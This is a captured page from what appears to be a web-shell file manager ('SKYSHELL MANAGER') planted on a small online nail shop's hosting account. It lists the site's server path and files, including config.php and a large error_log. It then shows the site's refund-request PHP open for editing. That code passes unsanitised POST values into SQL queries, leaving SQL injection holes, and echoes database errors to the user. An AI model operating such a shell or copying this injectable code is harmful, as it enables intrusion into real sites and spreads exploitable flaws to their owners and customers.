📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
5322.85 KB
0644
🗑️
⬇️
✏️
🔒
Editing: requests.php
<?php if(isset($_POST['submin'])){ $realid=$_POST['item']; $nums=$_POST['number']; $orderid=$_POST['order']; $reason=mysqli_real_escape_string($con, $_POST['reason']); $sql = "SELECT * from stock_orders WHERE s='$realid' "; $sql2 = mysqli_query($con,$sql); while ($row = mysqli_fetch_array($sql2)) { $stockno=$row['quantity']; $price=$row['price'];} $prices=$price/$stockno; $amount=$prices*$nums; //current date $date=date("Y-m-d"); //Update Refund $insert = mysqli_query($con,"UPDATE stock_orders SET refundno='$nums' where s='$realid'") or die ('Could not connect: ' .mysqli_error($con)); //Update Quantity $insert = mysqli_query($con,"UPDATE stock_orders SET refund ='yes' where s='$realid'") or die ('Could not connect: ' .mysqli_error($con)); //submit to stock_orders table $submit = mysqli_query($con,"insert into refund (orderid, item, amount, date, staff, status,value,reason) values ('$orderid','$realid','$amount','$date','$name','review','$nums','$reason')") or die ('Could not connect: ' .mysqli_error($con)); ///////////////////////////////// Mail Function started////////////////////////////////////////////////////////////////// $comments = $email_to = $email_subject = $email_from = $msg = ""; $email_from = "admin@chbluxuries.com"; $email_to = "admin@chbluxuries.com"; $email_subject = "New Refund Request!"; $comments ="<div style='background-color:#000000; color:#fff !important; height:800px; padding:50px; width:500px;'> <p><img src='https://chbluxuries.com/img/favicon.jpg' width='100px' height='100px' /></p><br><br> <p>Hello Dear Admin,There has been a new refund request. </p> <p style='text-align:center;'><a href='https://chbluxuries.com/admin' style='color:#FF339A;'>Login to the superadmin dashboard to view</a></p> <br><br> <p style='text-align:center; color:#fff;'> Visit our website: <a href='https://chbluxuries.com/' style='color:#FF339A; text-decoration:underline;'> CHB NAIL SHOP </a> </p> </div>"; function clean_string($string) { $bad = array("content-type","bcc:","to:","cc:","href"); return str_replace($bad,"",$string); } global $user; $email_message = ""; $email_message .= " ". clean_string($user)."\n"; $email_message .= clean_string($comments)."\n"; // create email headers $header = 'From: "CHBLUXURY NAIL SHOP" <admin@chbluxuries.com>'. "\r\n"; $header .= "Cc:admin@chbluxuries.com \r\n"; $header .= 'Reply-To: admin@chbluxuries.com' . "\r\n"; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-type: text/html\r\n"; if (!@mail($email_to, $email_subject, $email_message, $header)) { echo '<center><font color="red">Mail cannot be submitted now due to server problems. Please try again.</font></center>'; } else{ //alert $datetime=date('Y-m-d H:i:s'); $submit = mysqli_query($con,"INSERT INTO `notifications` (`notification`, `date`, `link`, `view`,`status`) VALUES ('$name sent a refund request','$datetime', 'refunds.php', '0','refund');") or die ('Could not connect: ' .mysqli_error($con)); echo 'Refund Request Submitted Successfully!'; }} ?>
💾 Save Changes